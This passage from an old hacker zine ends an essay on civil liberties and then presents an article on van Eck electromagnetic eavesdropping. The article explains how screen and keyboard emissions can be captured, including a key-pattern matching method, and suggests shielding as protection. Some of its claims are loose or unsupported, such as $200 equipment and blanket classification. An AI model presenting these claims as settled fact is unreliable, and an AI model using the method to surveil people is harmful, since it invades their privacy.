  1698. crime can be prevented. We should be on guard lest our protective
  1699. measures constitute a sort of "legal terroism" that would encroach upon
  1700. our Constitution's protection of the individual rights of our people.
  1701.  
  1702.   Terrorism is abhorrent. This is certainly true. But so is all powerful
  1703. government and its potential for diluting liberty. Such is why we rebeled
  1704. against England and founded this great country in the first place. Perhaps
  1705. we should keep this in mind.
  1706.  
  1707.               .oO____Oo.
  1708.  
  1709.  
  1710.              -----[ So, you think you're secure? ]-----
  1711.                            by: Mr. Zippy!
  1712.  
  1713. INTRODUCTION:
  1714.    You've finally done it.  You compiled PGP yourself to make sure
  1715.    you're running a clean version, and you chose a passphrase that no
  1716.    one would ever guess.  You didn't write it down, so the FBI would
  1717.    never find it if they raided you.  You don't even encrypt messages
  1718.    while online, to prevent someone from monitoring the data line
  1719.    in hopes of trapping your passphrase.  In fact, you regularly
  1720.    wipe your swapfile so there's no traces of it anywhere.
  1721.  
  1722.    There's no way anyone will ever get your passphrase unless they
  1723.    beat it out of you, right?  WRONG!
  1724.  
  1725.    Remember that black van parked accross from your computer room's
  1726.    window?  They're not tapping your phone line or using a lazer mic
  1727.    to tape your conversations.  They're watching everything you type
  1728.    scroll accross a little monitor, and recording it all to VHS tape
  1729.    for later study.
  1730.  
  1731.    No, I didn't see this on the X-Files last week.  The technology to
  1732.    do this is available now (for as little as $200).  It's called
  1733.    van Eck radiation, and information about it has been classified
  1734.    by the Governments of the United States, England, and others.
  1735.  
  1736. HOW IT WORKS:
  1737.    Remember the interference on your TV when you fired up your Vic 20
  1738.    computer or printed to that old dot-matrix printer?  The
  1739.    interference was caused by electromagnetic radiation (known as
  1740.    van Eck radiation, after a researcher who published a paper on the
  1741.    subject).  In fact, you could often tune that Vic 20 computer in on
  1742.    an old black-and-white TV with fine tuning controls.  You didn't
  1743.    know it then, but you were using a van Eck device.
  1744.  
  1745.    The theory behind van Eck radiation is that all electronic devices
  1746.    emit some level of electromagnetic radiation.  This radiation can
  1747.    be detected by devices which are basically modified TV receivers.
  1748.    By tuning the receiver into the frequency your monitor is on, you
  1749.    can watch everything scroll by.  Not only can your screen be
  1750.    monitored, but your printer, keyboard, or any other electronics
  1751.    device you may be operating.
  1752.  
  1753. WHAT IS AT RISK:
  1754.    Think about the kind of data you display on your computer monitor.
  1755.    Your financial records, personal letters, business proposals, or
  1756.    anything else you wouldn't want others to see can all be monitored
  1757.    and recorded for later review.  The information on your screen is
  1758.    the easiest to capture - you just need to tune the signal in on
  1759.    another screen.  It can be recorded on any standard VCR.
  1760.  
  1761.    Anything you type on your keyboard can also be monitored.  This
  1762.    includes your PGP key, the password for your 'net provider, or
  1763.    your credit card number.  So just because it's not displayed on
  1764.    the screen as you type it doesn't mean that it can't be captured by
  1765.    someone who really wants it.  Your printer and FAX machine are not
  1766.    immune to van Eck evesdropping, either.
  1767.  
  1768.    Capturing the van Eck radiations from a keyboard, printer, or FAX
  1769.    can be more difficult than those from a monitor.  It is necessary
  1770.    to have the exact same model available to analyze before you can
  1771.    figure out what you have captured.  The concept is still fairly
  1772.    simple:
  1773.          If you use a "Brand A" keyboard, I'll buy the same
  1774.          model. I hit each key, and watch the pattern on a
  1775.          scope.  Now, I watch the patterns come out of your
  1776.          keyboard, and match them to those I've already
  1777.          figured out.  Suddenly, your secret password isn't
  1778.          much of a secret any more.
  1779.  
  1780.    The same is true of printers and FAX machines.  If you have the
  1781.    same model, you can figure out each signal in advance, and then
  1782.    reading the captured output becomes easy.
  1783.  
  1784. WHO IS AT RISK:
  1785.    Everyone.  You don't need to be a criminal trying to hide your
  1786.    activities from law enforcement officials to be concerned about
  1787.    van Eck eavesdropping.  Consider the value of the data on your
  1788.    screen - what it it worth to someone else?
  1789.  
  1790.    Here's an example of various situations and types of information
  1791.    that could be gained by monitoring van Eck radiation:
  1792.  
  1793.       - Bankers (account data, transaction passwords)
  1794.       - Brokers (data leading to insider trading)
  1795.       - Law Enforcement (information on current investigations)
  1796.       - Designers, Architechts (current plans, models)
  1797.       - Software Designers (new algorithms and techniques)
  1798.       - Unfaithful Partners (letters to the "other")
  1799.  
  1800. HOW TO PROTECT YOURSELF:
  1801.    Over the years, electronics devices have been designed to give off
  1802.    less and less interference.  For example, I can set my laptop on
  1803.    top of my TV and not cause any noticable disturbance.  This means
  1804.    that long-range detection of van Eck radiation is not practical.
  1805.  
  1806.    Instead, the easier way is to plant transceivers that detect the
  1807.    radiation, and transmit it to monitoring posts farther away.
  1808.    Devices used to detect "bugs", radio scanners, and physical
  1809.    inspections of your equipment and surrounding areas can help to
  1810.    turn up transceivers of this type.
  1811.  
  1812.    It's a well known fact that if you're getting bad TV reception,
  1813.    you can attach the antenna to the cold water pipe and it improves
  1814.    drastically.  In the same way, electromagnetic radiation can be
  1815.    detected through building wiring or water pipes.  It would be
  1816.    nearly impossible to get your equipment away from water pipes or
  1817.    elecrtical wiring.  Therefore, you'll need a way to ensure that
  1818.    no radiation emits from your equipment.
  1819.  
  1820.    The NSA has created a specification for hardware which emits
  1821.    minimum ammounts of electromagnetic radiation (called "Tempest").
  1822.    Of course, if they were to publish this specification, they would
  1823.    not be able to eavesdrop on van Eck emmisions themselves.  The
  1824.    concept is obvious, though.  Equipment should be enclosed in
  1825.    cases which trap emmisions inside.  The electrical supply should
  1826.    either be isolated or be "dirtied" with dummy emissions.  The room
  1827.    itself should be shielded such that detection from outside is
  1828.    impossible.
  1829.  
  1830. SUMMARY:
  1831.    If you have somthing to hide, you need to be aware of all the ways
  1832.    it can be discovered.  Not everyone needs to build a safe room to
  1833.    ensure that their information stays private.  However, if the
  1834.    information on your screen is worth more to others than it is to
  1835.    you, you should take precautions to ensure it doesn't get out.
  1836.  
  1837. CREDITS:
  1838.    Not much information is available on van Eck Radiation, due to
  1839.    the topic being classified by most Governments.  Most of this
  1840.    information was obtained from one of these three sources:
  1841.  
  1842.    "Information Warfare" by Winn Schwartau (excellent book)
  1843.    "Computers and Security" December, 1985 issue
  1844.    Anonymous computer monitor technician at local repair depot
  1845.  
  1846.  
  1847.               .oO____Oo.
  1848.  
  1849.  
  1850. --
  1851.  ----| Infinity / Route / daemon9 |--------|------------------|--------------
  1852. --| Founding member: The 0x47 0x75 0x69 0x6C 0x64 | Finger for information |--
  1853.     [RSADSALUCGARGOYLEIDEADESLUCIFERLOKIFEALSHAMD5HAVALSNEFRU]
  1854.        not your typical american
  1855.